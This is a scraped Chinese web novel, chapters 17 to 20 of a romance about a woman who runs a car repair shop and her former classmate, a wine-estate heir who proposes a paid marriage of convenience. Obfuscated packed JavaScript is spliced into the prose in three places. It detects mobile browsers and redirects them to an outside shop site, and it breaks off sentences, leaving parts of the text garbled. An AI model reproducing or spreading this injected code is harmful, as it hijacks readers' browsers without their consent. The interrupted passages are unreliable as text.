而她以为的梦境,现实感越发强烈…… 不会吧! 易年说待会儿还有工作,车钥匙留给她,不是在做梦? 所以,真的睡了? 17. 第 17 章 回过神来,夏树的第一反应是看了看自己的衣服,倒是穿得整齐。 她一手揉着太阳穴,一手锤着胸口,歪歪倒倒地回到了床上。 还是觉得这事不可思议。 如果是真的跟易年睡一起了,今后还怎么面对他啊? 脑瓜子嗡嗡嗡的,毫无头绪,乱得像麻。 她崩溃地挠了挠头发,就在快要接受这个荒唐事实的时候,突然想起一个关键点。 她刚刚是被闹钟叫醒的! 夏树有自己的生物钟,平时根本不需要上闹钟,如果她昨晚没喝多,今早肯定能自然醒。 但是昨晚喝多了,还能记起来要上一个闹钟,说明她在醉酒的情况下仍保持理智,知道不能错过夏林的比赛。 如果还有理智,这基本上就能断定,她不会留易年过夜。 所以,易年留在她的房间—— 夏树怒气冲冲,脱口而出:“他怎么会是这种人!” 乘人之危的狗男人。 她将衣领拉紧了些,后背发凉,甚至有些后怕。 还真是知人知面不知心。 好在自己的衣服穿得整齐,不然她真的会去找他拼命。 此刻夏树一点也不想再留在这个空间,她压抑着满腹怒火和几欲翻涌的胃,急匆匆地洗了个澡就收拾东西离开房间。 - 今天晴得很好,碧空如洗,青龙湖上紧张激烈的比赛仍在进行着。 宿醉后晕眩恶心的感觉还未散去,身体酸软,指尖发麻。 觉得晦气,夏树没有去昨天易年带她去的观赛区。怕影响夏林,也没有靠近运动员休息区,而是也靠坐在湖边一个大石头上,下巴搭着膝盖,双手撑在额前遮阳。 她没戴易年的帽子,帽子连同他的车钥匙,都被她扔在酒店前台了。 半个小时后,终于听见裁判员宣读夏林的比赛信息。 夏树支着发软的双脚站起来开始录像。 4000米的赛程用时较长,从比赛开始,她的镜头一直对着夏林所在的第二航道,宿醉感全被抛之脑后,心里一直为夏林默喊加油。 录像时间进行到二十几分钟时,再一次听见比赛计时的“滴”声,从夏树所在的位置,看不清夏林是第几个冲过终点。 她的目光一直聚焦在大屏幕上,很快,成绩跳了出来,夏林的名字排在第二行! 她居然在最没有胜算的项目上拿了小组第二! 眼眶袭来湿热感,按耐不住内心激动,夏树直接跑到了运动员休息区找夏林。 因为夏林所在的小组是最后一组,所以在跑过去的路上,大屏幕跳出了女子单人4000米总排名。 夏林不仅是小组第二,还是总排名第二! 脚下一顿,夏树的眼泪不受控地涌了出来。 她深知自己的妹妹有多不容易,生在那样的家庭,如果出不了成绩,最终肯定逃不了父母把她当物件一样来安排人生。 夏林从小性情软弱,估计真到了那一天,也没有勇气像夏树当年一样反抗。 虽说这次只是省赛的预赛,但总归是开了个好头。 在大赛中获得名次可以评国家级运动员,如果评上了,夏林的目标大学就稳了。 还可以让父母知道,夏林有潜力在皮划艇项目取得成功,不用被他们安排人生。 运动员休息区,夏林一眼就看见喘息着跑来的夏树,她迎上去,看见夏树发红的眼眶,连日来的压力和此时的激动冲撞在一起,鼻尖一酸,也跟着留下泪来。 夏树伸手替夏林抹了眼泪,教练余震东在这时候走了过来。 “夏林姐姐,您好您好,夏林不负众望,取得这么好的成绩,我真是打心里替她高兴。” 此刻余震东对夏树的态度,相比头一天,有了一百八十度的转变,再结合夏林说他看人下菜碟,夏树大概知道是因为昨天黎卓当着所有人的面和她打了招呼。 再怎么说他也是夏林的教练,夏林的所有成绩都有他的功劳,所以夏树也发自内心感谢他。 “谢谢教练平时对林林的悉心教导,没有您她也不可能出成绩,您是她的恩师,也是我们家属最感谢的人。” 夏树平时没少跟客户打交道,几句恭维的话自然不在话下。 两人交谈的间隙,黎卓走到的运动员休息区:“夏树,你妹妹真不错,又拿名次了!” 说完肯定地对夏林轻轻点头,说了句恭喜。 夏树挽上夏林的手臂:“谢谢黎总。” 黎卓:“很有天赋的孩子,形象也好,要是半年后的决赛夺冠了,干脆就来给我当代言人。” “那可太好了!多谢黎总赏识!” 不知道黎卓是随口一说还是认真的,夏树半玩笑半认真地叮嘱夏林,“林林好好训练,争取达到凌飞运动的代言人标准!” 上午的所有比赛结束,领队集合所有运动员,夏林让夏树回程注意安全,便匆匆归队。 夏树翻看着回程大巴车票,黎卓突然走到她身边:“抱歉啊夏树,我还有事要忙,不能招呼你吃中饭!” “黎总,您太客气了,您忙您的,不用管我。” 黎卓挑眉轻轻点头:“行,那我们明天蓝韵见!” 蓝韵,好像是易年家酒庄的名字,蓝韵红酒庄园。 可为什么黎卓要说明天蓝韵见? 夏树不解:“明天?” “对,易年的接任仪式,我也会去的。” 易年头天晚上倒是提过他家酒庄明天有派对,但没想到是他的接任仪式。 不过不管是什么,都和夏树没关系,管他接任不接任。 她的神情平淡,从容一笑:“我明天去不了,有事要忙,希望以后能有机会和荣幸再和黎总见面。” - 直达离阳的旅游大巴内,除了夏树,就只有一群穿着款式各异的花裙子阿姨。 宿醉后听着阿姨们拍短视频的噪杂声,夏树感觉自己的头要炸了。 闭目也无法养神,她便打开消消乐,打算玩卡了好久的那一关。 这次居然一次就通关。 但是看到屏幕上跳出的那句通关提示语,她又立马退出游戏,按了锁屏,将手机装进口袋。 “你真厉害”这四个字,在此刻看上去不像是通关的提示,倒像是在嘲讽她。 嘲讽她喝酒没个度,差点把自己作死。 越想越生气,没办法接受曾经同桌三年的翩翩少年变成这么下三滥的人。 退一万步说,哪怕是她喝多了,易年想留下来照顾,那也不应该睡到床上去啊! 手机铃声突然响起。 夏树掏出手机,居然是易年打过来的。 她直接挂了电话,没有分毫犹豫。 过了十多秒,他又打了进来,夏树仍旧直接挂了。 紧接着,易年发来信息:【去哪了,怎么把房退了?】 夏树没回。 过了几分钟,易年的信息又发过来:【你在赛场?我忙完了,随时可以回离阳】 夏树原本不想理他,但是考虑到这一趟行程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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易年像在哄孩子:“好好好,我错了,我们是朋友,我不该写那封信,也不该说你白眼狼!” “所以你可以睡了吗?明早不是还要去看你妹比赛,不睡明天起不来了。” 夏树:“我起、起得来,我这就上闹钟,睡。” 上完闹钟,夏树一头扎进枕头,手机被易年放在床头柜上,镜头对着天花板,停格。 有脚步声,有倒水的声音,还有窸窸窣窣拉被子的声音。 “好了,你睡吧,这放了杯水,手机你伸手就拿的到,我过去了,有事打电话给我。”他的声音很轻。 夏树:“不行,你不能走,当年那样对我,现在居然想走!” 易年:“现在两点多了,真的该睡了。” 夏树:“嗯,睡。” 易年:“那你放开我。” 夏树:“不放。” 易年:“不放我怎么回去?” 夏树:“你不准走。“ 易年:“不回去我怎么睡,你想让我这个姿势在床边蹲一晚吗?” 夏树:“这有床,你为什么要蹲?哈哈,你好傻!” 易年:“哎哎,你别拽我——” 静默几秒,他的声音变小,“夏树,你确定要让我躺在这儿?” 夏树:“睡,不睡明天起不来、看林林比赛。” 易年:“抱着我的手,你能睡着?” 夏树:“好吵,我要睡了,你别跟我说话。” 易年:“那我怎么办,你还是把我放开吧,我回去睡。” 夏树:“你别动,再动我要吐了,别动……” 看完的视频,夏树用脑袋一下一下撞击着车窗玻璃: 天老爷!请问我夏树是犯了什么必死的罪吗? 18. 第 18 章 隔天,从祖母家出来,易年吩咐司机直接下了班,打算独自回家躲清净。车子还未启动,就接到了易雯溪的电话。 “你待会儿还回来吗?” 想到下午在蓝韵被长辈们围着劝他尽孝的场景,易年心有余悸:“回去?你想看着他们把我直接架到民政局吗?” “我想着你就不会回来,”怕被宾客听见,易雯溪压低音量,“但今天你是主角诶,你不回来,我要怎么跟他们说?” 易年指尖敲击方向盘,思索片刻:“你就说,我要陪祖母吃饭,没人会有意见的。” 挂断电话,易年眉头微皱。 祖母过九十九岁大寿时,说生日愿望是亲眼看着蓝韵交到易年手里。 蓝韵酒庄的葡萄园和酒窖是易家一辈辈传下来的产业,本就会传给易年。 易年归国时日尚短,父母一开始的打算是等他适应几年国内大环境再让他接手生意。 可在不久前,祖母病了一场,身体每况愈下,为了满足老人的心愿,才将接任的计划提前。 未料想今天宣布易年接手酒庄后,祖母当着一众宾客好友的面说,希望在有生之年能看见易年结婚。 易年的爷爷当即就拍板,让来宾们为易年介绍合适的女孩,并要求他三个月内完婚,达成祖母心愿。 在此之前,易年还没想过结婚这事。 毕竟是大事,那样的情景之下,为了顾全大局,他并未反驳,只想等仪式过后再和家人商议。 李若尔和她父母也在宴请的宾客里,现场不知道是谁说她和易年青梅竹马,最合适不过。 话题牵了个头,众人你一言我一语附和着,易年爷爷也觉得这门亲事可行,当场就让李家把李若尔的生辰发过来,准备跟易年合八字。 好在到了祖母午休的时间,易年便借着送祖母回家火速逃离了现场。 在送祖母回家的路上,祖母谈起李若尔:“李家那小丫头,虽然娇气了点,但我看她这么多年都围着你转,要是结婚,倒也是个不错的人选。” 易年没直说自己未考虑过结婚的事,只说自己不喜欢李若尔,可祖母却晕红双眼,说她不奢望自己能活到百岁,只想看着易年找到相伴一生的人,才能安心闭眼。 在和易年谈话期间,祖母情绪不稳,痒饱和度变低,胸闷气短。 易年立即联系了家庭医生,等医生为祖母检查完,确认她无大碍,亲自看着她吸着氧睡着,易年才离开。 坐在车里,易年久违地点了根烟,祖母的话犹在耳畔,祖母身体抱恙的模样他也历历在目。 铺天盖地的烦闷席卷而来,他扯松领带,不自主地拿起手机,点开夏树的微信聊天框。 几条发出的信息前都有红色感叹号,从头一天把视频发过去后,他又一次被夏树拉黑了。 不仅是微信被拉黑,连电话号码也被拉黑。 他在聊天框打下“白眼狼”三个字,才点了发送,聊天气泡前就出现了红色感叹号。 ……他还在夏树给黑名单里躺着。 他突然想起车里还有一个备用手机。 于是迅速将备用手机找出来,打了过去。 电话很快就接通。 熟悉的声音从电话那头传来:“您好,这里是鑫鑫汽修厂,请问您有什么需要吗?” 鑫鑫…… 原来汽修厂也叫这个名字。 “喂,您好,您在吗?听得到吗?” 易年扬起唇角,语调散漫:“原来是要用其他号码才能打得通!” 一阵沉默。 易年:“白眼狼,说话。” 熟悉的声音从听筒传出来,夏树捧着手机像是捧着一个烫手山芋,咬紧下唇,半天才憋出一句:“找我干嘛?要修车啊?” 易年语气平平:“怎么,不修车就不能找你?” “叽叽歪歪,打电话过来干嘛?有什么事能不能直说?” 夏树语气听上去有些气急。 打电话给她,其实没什么理由。 前天晚上的场景浮现在眼前,易年喉结滚动,脱口而出:“今晚出来做我酒搭子。” 夏树毫不犹豫:“不来。” 说完,心跳却控制不住地加速跳动。 被一口拒绝,易年并不意外。 “啧,前天我舍命陪君子,今天该你陪我了吧!” “在忙!别影响我赚钱——” 电话那头撂下最后一句话,就干脆地挂了电话。 易年嘴角浅浅的笑意还未消退,回过神,才发现那根烟还一口未抽就已经燃尽。 因为抽烟会影响味蕾,进而在品酒时影响葡萄酒的口味,所以易年平时不会抽烟,除非遇到特别烦闷的事,比如今天。 灭了烟头,伴随着一声微信响铃,刚刚复燃的心情又被一条信息浇熄大半。 易雯溪:【李若尔听说你要陪祖母吃饭,她说她也要去,刚刚已经离开蓝韵。】 - 夏树挂断电话,点开通话记录,在三秒内将刚刚打进来的号码拉进了黑名单。 她把手机和筷子同时往桌上一拍:“阴魂不散!” 都拉黑了,还要用其他号码打进来,说什么酒搭子,想干嘛,还要看她出糗啊? 保钦元停下筷子:“老大,我怎么感觉你从昨天回来以后气就不大顺啊,林林拿到名次是好事,你怎么火气还这么大?” 夏树睇着他:“吃你的饭吧!” 保钦元讪讪消了声,顺着碗边扒拉两下,而后放慢咀嚼的速度,和罗勇对视一眼,膝盖在饭桌下拐了罗勇两下。 罗勇年纪小,却最机灵,摸出手机看了眼今天的日期,小心翼翼地询问:“老大,没胃口吗?要不我去帮你煮个红糖鸡蛋吧?” 经罗勇的侧面提醒,夏树才反应过来自己的例假推后了,估计就是那晚酒喝太多惹的。 这下更烦躁了。 她从桌上抓起手机,扫过保钦元和罗勇:“不用,我不吃了,去换大超上来吃。” 夏树下到一楼时,罗超正准备发动院子角落的一辆卡车,她连忙制止:“哎哎哎,大超,你给我下来,你一个拿C驾照的,开什么开!” 手持C驾照只能开小型汽车,要开大型卡车或货车,必须持B照,几人中B照只有夏树有。 被逮了个正着,罗超神色一惊,从卡车驾驶座跳了下来:“老大,今天没什么活,只剩这辆卡车换机油和洗角落那辆帕萨特,我寻思洗车要轻松点,就想先把卡车机油换了。” 罗超在三个徒弟里是最能吃苦,总是默默做事,什么累活都往自己身上揽。夏树没过多责怪,只叫他先上楼吃完饭直接休息。 夏树把卡车开到车间的地沟槽上方,她下到地沟槽开始为卡车换机油,效率却低得出奇。 因为总有一张男人的脸在她眼前晃悠,而且这症状从昨天就开始,到今天丝毫未减。 …… 她忍不住骂出了声:“该死的易年。” 半个小时后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128596|137698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,罗超吃完饭收拾完厨房下楼,蹲在卡车旁。 “老大,你还没弄好啊,要不你歇着,我来弄。” “不用,马上收尾了,”夏树用臂弯擦了下额间的汗,“大超,你递块汗巾给我。” 罗超拿来一块干净毛巾,从地沟槽后方的楼梯口将毛巾递给夏树。 夏树才接过毛巾,就听见一阵引擎声呼啸而来。 最近由于修路,汽修厂门口经过的车子数不胜数,本以为这阵引擎声只是路过,未曾想它却越靠越近。 罗超起身循着声源看去:“我靠,迈巴赫!” 听出车子停在了汽修厂的院子中央,夏树好奇地从卡车底盘和地面空隙看过去,还真是一辆黑色迈巴赫。 汽修厂很少会有超过百万的车子开进来,但夏树的反应并没有罗超强烈,她觉得只要是进到自己汽修厂的都是顾客,她都会一视同仁。 收回视线,她拿扳手敲了两下地沟槽台阶,从容提醒罗超:“大超,你过去问问人家是要洗车还是要干嘛。” “好嘞,老大。” 罗超走到迈巴赫驾驶座旁,车窗正好打开,他微弓着腰,心想这么贵的车肯定不会在这里保养,便只问:“您好,您要洗车还是要修车?” 易年顾着环视四周,未注意罗超的话。 他下了车,折返到汽修厂门口,抬头看了眼门牌,视线落在“鑫鑫汽修厂”下面的联系电话上,眼底波光翻动,唇角漾着清浅的笑。 罗超又走到他身旁:“您好,您有什么需要吗?” 易年回过神,将车钥匙递给罗超:“洗车,谢谢。” 地沟槽内,夏树手上一顿:这声音……怎么有点耳熟。 但很快,她就打消了心里的猜测。 今天是易年的接任仪式,他怎么可能出现在这里。 罗超:“好嘞,您先到旁边坐着等一下,洗车房马上空出来了,我去催催。” 洗车房内,保钦元和罗勇配合着为帕萨特车顶擦干水汽,听说院子里来了辆迈巴赫,两人加快了速度。 帕萨特水汽擦干,罗勇准备将车子挪开给迈巴赫腾地方,保钦元则拍着身上的水珠朝院子走。 “哥,怎么是你!”保钦元看见西装革履的易年,眼中闪过意外,欣喜地上前。 易年眼神温和:“刚好路过,就进来洗个车,没想到遇到熟人了。” “那也太巧了,这里就是老大的地盘!哥,你稍等,我去叫老大。” 地沟槽内,夏树将院子中两个人的对话听得明明白白——这他妈还真是易年。 这个瞬间,她真希望自己能昏死在这小小的地沟槽里,等易年离开了再醒过来。 身体还在僵着,保钦元就走到了地沟槽后方,音量减小,语调却忍不住提高了一个八度:“老大,你同学来了,就是那个开库里南的帅哥,这次开了辆迈巴赫来,他这也太牛了吧,开的全是豪车。” “哦,洗车房腾出来了吧?” “腾出来了。” “嗯,去洗吧。” 看着夏树面不改色继续为卡车换机油的模样,保钦元有些犯难:“啊?你不出来跟他打个招呼啊?” 夏树未与保钦元对视,语气恹恹道:“我还没弄完。” “行吧!”保钦元探头看了眼夏树的进度,然后起身对着易年喊,“哥,老大马上忙完了,最多五分钟,你先等一下哈!” 夏树:“??????” 不是,小保,就你长嘴了? 19. 第 19 章 夕阳西斜,汽修厂的水泥地面铺上了一层金黄。 从地沟槽看上去,因卡车遮挡,夏树并看不到易年,只听见保钦元拖来了汽修厂唯一的一把实木椅子招呼他坐下,又给他倒了水。 通过地面上被拉得很长的影子,大概可以推测出易年所在的位置就在卡车车头右前方。 洗车房腾开,保钦元向易年介绍洗车档位:“哥,这是价格表,我们洗车有标洗普洗和精洗,你看你要洗哪种?” “标洗就是只洗外观,普洗的话会简单清洗脚垫内饰还有轮毂,精洗……精洗我估计你等不了那么久,现在快七点了,洗完都十点多了。” “精洗。” 夏树:“???” 易年的声音一出,起子直接从夏树手上掉落。 什么?易年要精洗? 那就意味着,他还要在这里待至少三个小时? 他故意的吧…… 其实收尾工作用不了五分钟,只需要检查一下螺丝等配件是否固定住就行。 检查完车底,夏树单脚踩着一个台阶,一只手顺势杵着膝盖,另一只手反叉在灰色工装腰间。 想了想,不对啊!在自己地盘有什么好扭捏的! 不就是喝多了而已,谁还没个喝多的时候,开酒庄的人自然知道酒精的威力,他总不能揪着这事说一辈子。 夏树挺直腰杆,拍了拍手上的灰,一步一步踏上了地沟槽的楼梯,朝着车头走过去。 车头右前方,深邃的金红色余晖中,易年交叠双腿坐在红漆斑驳的实木椅上。 逆着光,夏树虚幻地与他对视。 他穿着一套充满质感的炭灰色西服,平整的肩袖,后颈极度贴合,优雅的收腰弧度,再配上长尖领衬衫和精致的王子结,看上去就一个字——贵。 夏树撑了撑自己的工装衣摆,眉眼轻扬:“你怎么找到这儿来了?” 易年放下交叠的腿,站了起来,朝夏树缓缓走了几步。 夕阳轻晃着夏树的眼睛,他走到近处时,才看见他清亮底蕴含的明显笑意。 “之前常走的那条路在修,换了条路走,看见个汽修厂,正好想洗个车就开进来了,没想到这里是你开的厂。” 罗超正从院子中央将迈巴赫挪到洗车房,夏树从车头到车尾看了个大概。 “这么干净,还要洗?” 迈巴赫看上去比她的脸还干净。 易年也看了一眼迈巴赫:“干净吗?” 夏树:“……” 易老板高兴就好,车子干净,洗起来倒还省事了。 夏树偏头指向实木椅,“你过去坐着等。” “不用,我不累。” “我管你累不累,你别站这挡着全世界好吗?”夏树一只手拍了拍卡车头,“我要挪车。” 易年看了眼夏树身旁的庞然大物,不由自主地想到,这个小小的身躯还真是惊喜不断。 夏树坐上卡车驾驶座,启动车子,难闻的柴油机尾气迅速在院子蔓延开。 她下意识探出上身看了眼易年,这个味道,估计他闻不了。 于是她轻轻地踩踏油门,尽可能地减少尾气排放。 将卡车移到院子一角,夏树准备打电话通知卡车车主机油已经换好。 才按了拨号,一辆冰莓粉Taycan突然横停在了汽修厂门口。 夏树叫了保钦元一声,眼神示意他去看看怎么回事。 保钦元还未走到车旁,后排就下来了一个女人。 女人穿着一套镶嵌珍珠和闪钻的套装裙,手上提着一个爱马仕包,脚下的高跟超过了十公分。 脸上的妆容精致贵气,样貌比各种网红要出色些,这张脸,总感觉有点眼熟。 但紧接着,她的动作,让夏树觉得不太舒服。 李若尔眉头紧皱,用袖子遮住口鼻,一脸嫌弃,像是地上有脏东西一般,时刻注意着脚下,蹑手蹑脚地往里走。 她并未搭理迎面而来的保钦元,径直朝着易年走过去:“易年!你开这么快干嘛?杨师傅快把喇叭都按烂了,你没听见吗?” 这时候卡车司机正好接起电话,夏树没注意听易年和女人的对话,只注意到易年脸上一改之前笑意,变成不耐烦。 卡车司机在电话里说他今晚喝了点酒,能不能先把车子停在汽修厂,隔天早上再来开,夏树说最近汽修厂生意好,进来的车子多,只能让他免费停到明天中午。 挂了电话,夏树打算去地沟槽将工具收起来。 才一下车,就听见女人追问易年:“你难道没听见易爷爷的话吗?”语气咄咄逼人。 见状,她没从车前走,而是从车侧面绕过去。 易年没回话,只听那女人又说:“反正现在所有人都觉得我跟你的事是板上钉钉,你要逃避也没用。” 易年:“李若尔,我说你能不能别异想天开!” 难怪觉得女人面熟,原来她就是夏树当年的大主顾李若尔。 夏树的第一反应是觉得易年有点惨,被同一个女人纠缠那么多年。 但是回过头想想,她还挺佩服李若尔,居然锲而不舍地“追”了易年这么多年,从她所知晓的十五岁到现在,至少也有十年了。 走到地沟槽,夏树朝着两人的方向看去,易年坐回了实木椅,李若尔则是怀抱双臂站在他正对面。 李若尔:“不是我异想天开,是易爷爷亲口说的,祖母身体不好,需要你结婚冲喜,爷爷和祖母一直对你那么好,你难道要违背他们的意思?” 易年未回话,而是将视线扫到了地沟槽。 与他对视了一瞬,夏树弯下腰捡着地上的工具。 听到这里,夏树大概是懂了,家里要让易年结婚,然后李若尔的意思是易年现在除了她别无选择。 李若尔继续用易年爷爷和祖母来胁迫易年,很明显,这个女人想占有易年的心,相比十年前不遑多让。 易年的语气寡淡到了极点:“你能不能别烦我?” 夏树收拾好地沟槽的工具起身,又听见李若尔笃定地说:“不能!反正你要结婚只能跟我结,这么短的时间内,我就不信你还能找到其他女人跟你结婚。” “离阳资本圈子里的所有人都知道我喜欢你,只要我不同意,没人会跟你结婚的,如果有人敢,那她家别想在离阳做生意了。” 此刻李若尔的语气变成了十拿九稳。 夏树真的挺同情易年。 如果跟这么娇纵的女人结婚,今后指不定要被她逼疯。 不过这也不是她该操心的事,她想这可能就是有钱人的烦恼吧,连婚姻都不能自主选择。 夏树环视一眼汽修厂,罗超在洗车,保钦元早就识趣地闪到洗车房帮忙,这个剑拔弩张的场景,她也不便继续待在外面,要是被李若尔判她个偷听的罪,那多冤枉。 她正准备进里屋轧账,男人凛冽低沉的声音突然想起: “白眼狼。” 夏树脚下一顿,这三个字只能是在叫她吧。 但他这个时候叫她干嘛? 她微侧着身子站在原地,易年再次开口:“有没有兴趣再挣个外快?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13140065|137698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏树讪讪回头,易年的视线落在她身上,李若尔也朝她看过来。 怕被李若尔认出来,引发一些不必要的麻烦,夏树抬手抓了些碎发遮住半边脸:“干嘛?违法乱纪的事我可不干!” 可别说是他不想打女人,所以要让她动手处理李若尔吧! 夏树余光看向那边的两人,易年从实木椅上站了起来,从李若尔面前经过,眼风都没掠过。 他径直走到夏树年前,敛下眼眸,喉结滑动了一下,片刻后,悠悠启唇:“跟我结婚。” 夏树:“?” 没听错吧?他说的赚外快是跟他结婚? 她凝眉看着易年,又迅速瞥了眼李若尔。 李若尔抱着双臂,嘴角挂着不屑一顾的笑,易年为了躲她,随便拉个陌生人,就说让人跟他结婚? 她倒想看易年如何收场。 通过李若尔脸上的表情,夏树猜测易年大概是为了堵李若尔的话,才会当着她的面问夏树要不要跟他结婚赚外快。 夏树又将视线落在易年脸上。 易年轻轻地扬了下眉,他的意思,应该是在让她像原来一样帮忙应付李若尔。 说赚外快可也能是想表达,如果她帮忙应付了李若尔,就可以给她点好处。 李若尔有多难缠,夏树自然是知道的。 易年今天接任仪式还跑了出来,难说就是为了躲她,只不过没躲成,还是被找到了。 犹豫须臾,夏树想,好像这个忙也不是不能帮。毕竟人家才帮她走关系去看了夏林的比赛。 她清了清嗓,仰头对着易年的眼,面无表情道:“好啊,我赚!” 话音一落,易年的眼眸里闪过一丝不易察觉的清亮光泽。 怔楞片刻,易年牵起夏树的手,扬在半空,对李若尔说道:“这没你的事儿了。” 李若尔鄙夷地扫视夏树,完全不把这个穿着廉价工装,灰头土脸的女人当成威胁。 她哼笑一声:“没事,还有三个月呢,你最好能在三个月跟人把婚结了,不然就只能来找我咯。” 说完,李若尔踩着高跟坐回了Taycan后座。 停在汽修厂门口的车子开走,夏树仍在愣神。 准确来说,从她的手被易年牵起来那一刻开始,她就是懵的。 他的手掌稍宽,手指白净修长,手上的皮肤光滑柔软,十指紧扣在一起,伴随着逐渐加快的心跳,萌生出来的,是一种从未有过且描述不清的感觉。 “说话就说话,动什么手啊,”夏树将易年的手甩开,半开玩笑的语气,“有肢体接触,这可是另外的价格。” 不知不觉,夕阳已经完全消失在天际,暮色四合,夏树走到旁边推了汽修厂的灯闸。 灯光打开,夏树看见了易年耳廓有些泛红。 夏树的心跳平复了些,抿了抿唇,对他说道:“你再等会儿吧,车子不脏,应该用不了三个小时。” 易年:“走吧,找个地方坐下来谈一下。” “谈什么?” “价格。” “什么价?你在说什么啊?洗车吗?那个单子上有啊,熟人最多只给你打八八折。” 易年下巴稍抬,脸上严肃:“我是说,跟我结婚的价。” “哦,你说这个啊,不用客气,就顺嘴帮个忙而已。” 易年:“我说的是,结婚,你刚刚不是答应我了,跟我结婚来赚外快!我没有开玩笑,是认真的,现在我想我们应该先谈一下价格。” 夏树:“???” “你有病吧!” 20. 第 20 章 “你有病吧!” 夏树确定自己没有听错,易年确实说的是要坐下来跟她谈一下结婚的价钱。 易年眼神坚定,看上去不像在跟她开玩笑,所以,最合理的解释是他脑子真的有病。 “怎么又开始骂人了?刚刚不是你亲口答应的吗!”他说。 夏树眉头紧蹙,无语地睨他一眼,自顾自走到洗手台,余光瞥见易年朝她走来。 她打湿双手和肥皂,并未抬眼:“我答应你什么了?” “不是你亲口说的‘好啊,结呗’,这么快就不记得了?” 夏树长呼一口气,关紧水龙头,随意地甩着手上的水珠:“我那不是在帮你应付李若尔吗?怎么又变成答应你了。” 水珠溅到易年脸上,他并未躲闪,只是用手背轻拭着鼻梁上的水渍。 “那你现在可以再重新考虑。” “起开起开,别耽误我做事!” 夏树并未理会易年天方夜谭的提议,大步从他面前跨过,来到里屋准备轧帐。 她将一摞收款复写页放在茶几上,打开微信账单,比对着每一页的收款记录。 易年又跟了进来。 他坐到夏树对面,语调渐弱:“确实像李若尔说的那样,我现在的处境有些棘手,所以……” 夏树放下手机和账单,不耐烦地抬眼:“所以什么所以,你处境棘手跟我有什么关系?” “所以我才说跟你谈一下价,你就把它当成赚外快,你愿意的话。” “我,不愿意!” - 夏树没有继续轧账,而是把罗勇也叫来,和罗超保钦元一起洗迈巴赫。 期间,夏树隐约感觉易年的视线一直留在洗车房,她并未抬眼,只顾着洗车。 迈巴赫应该是才洗过不久,发动机箱和油箱盖内外都很干净,再加上四人共处出力,一个多小时,就将车子洗好。 最后一步轮胎轮毂养护由罗超罗勇来做,夏树在收拾一旁的工具,保钦元将洗车巾全部塞进洗衣机,洗了个手去到易年旁边。 “哥,马上就弄好,已经在收尾了。” 易年瞥向洗车房:“好的,谢谢。” 保钦元:“哥,跟你说实话,你这车可是咱们厂营业以来进来的最贵的一辆车!” 易年并未做出回应,只是礼貌抬唇。 保钦元又说:“想不到你这么厉害啊,年纪轻轻就开上了这么好的车,想必你酒水销售的业绩应该特别好吧。” “酒水销售?”易年眼神中充满不解。 “对,上次老大跟我说了,”保钦元挠了挠头,“她说你是卖红酒的来着。” “嗯……”易年轻轻哼笑出声,朝洗车房意味深长地扬了下眉,“我的业绩啊,确实还行。” 洗车房内,夏树将高压水枪盘到墙角,在腰间蹭了蹭手上的水汽,掏出手机算着折扣价,走到易年面前正巧算好,她摁熄手机,抬手指向墙上的收款码。 “一共300,扫那里。” 易年迟迟未动,怔怔看着她,她又解释:“原价580,给你打八八折,打完是510.4,我份上的不用付,就给我三个徒弟一人一百辛苦费就行。” 易年脸上无波无澜,也不知他是听进去,还是没听进去,夏树又重复一遍:“300,扫那里。” 片刻后他掏出手机,往贴着收款码的墙走了两步,停下来,又将手机装进裤兜:“我摄像头坏了,扫不上。” 就三百而已,他不至于赖账,夏树将信将疑地凝眉,他又理直气壮地说:“那晚录视频,录的时间太长,摄像头直接烧了。” 夏树:“……” “那晚”这两个字,怎么听怎么别扭。 “这样吧,你把我从微信黑名单放出来,我直接转你。” 听到这里,保钦元在一旁犯嘀咕,这位销冠大哥不是才带老大去看林林比赛吗,怎么老大还把他拉黑了。 不清楚面前这两人的恩怨情仇,保钦元讪讪退到了一旁。 夏树有种骑虎难下的感觉。 当时拉黑易年,坦诚来讲,确实是害怕在他面前社死,所以想直接逃避。 可是让她没想到的是,这才过了一天,当事人就突然出现在自己面前,相当于逃了个寂寞。 犹豫片刻,夏树点开微信,第二次将易年从黑名单放了出来。 留下一句“慢走”,她便上了楼。 站在自己房间窗边,那辆黑色迈巴赫像电影长镜头一样越拉越远,最后隐入无尽的黑夜。 她在那里站了很久,有些不知所措。 准确来说,应该是不知道怎么来理清易年跟她的关系。 原本以为一个误会持续了七年,终于得以解开,重新获得曾经失去过的珍贵朋友。 可要命的是,他们那晚睡在了一起。 异性朋友之间,睡一起,哪怕什么都没做,那也根本不正常。 而且从视频里说话的口齿清晰程度来判断,易年那晚很清醒,他在清醒的情况下到底会如何看待夏树那晚的行为,根本无从知晓。 今晚他还提了让她跟他结婚,难说他已经不把他当朋友了,而是一个“睡过”的女人。 ……但愿他今晚只是一时兴起开了个不太适宜的玩笑。 想到这里,夏树抱着脑袋坐到靠椅上,放空片刻,她百无聊赖地掏出了手机。 微信上有易年转过来的580,她原本不想收,只愿收说好的300,但想了想,如果拒收了,易年应该还会继续发过来。 在这个思绪乱成麻的时候去跟他聊天,纯属给自己添堵,所以她直接收了580的转账。 